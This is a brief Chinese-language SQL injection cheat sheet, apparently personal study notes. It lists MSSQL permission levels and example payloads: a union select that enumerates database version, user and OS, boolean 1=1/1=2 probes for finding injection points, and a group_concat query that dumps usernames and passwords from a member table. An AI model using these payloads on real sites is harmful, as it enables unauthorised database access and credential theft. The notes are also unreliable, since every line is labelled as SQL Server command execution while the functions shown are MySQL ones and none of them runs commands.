1. mssql权限
public权限:数据库操作 guest-users
2、sql server注入执行命令
select * from member where id=-1 union select version(),database(),user(),@@version_compile_os;//sql server注入执行命令
判断注入点—报错查询
select * from member where id=1 and 1=1;select * from member where id=1 and 1=2;//sql server注入执行命令
group_concat 查询
select group_concat(username,pw) from member where id=1;//sql server注入执行命令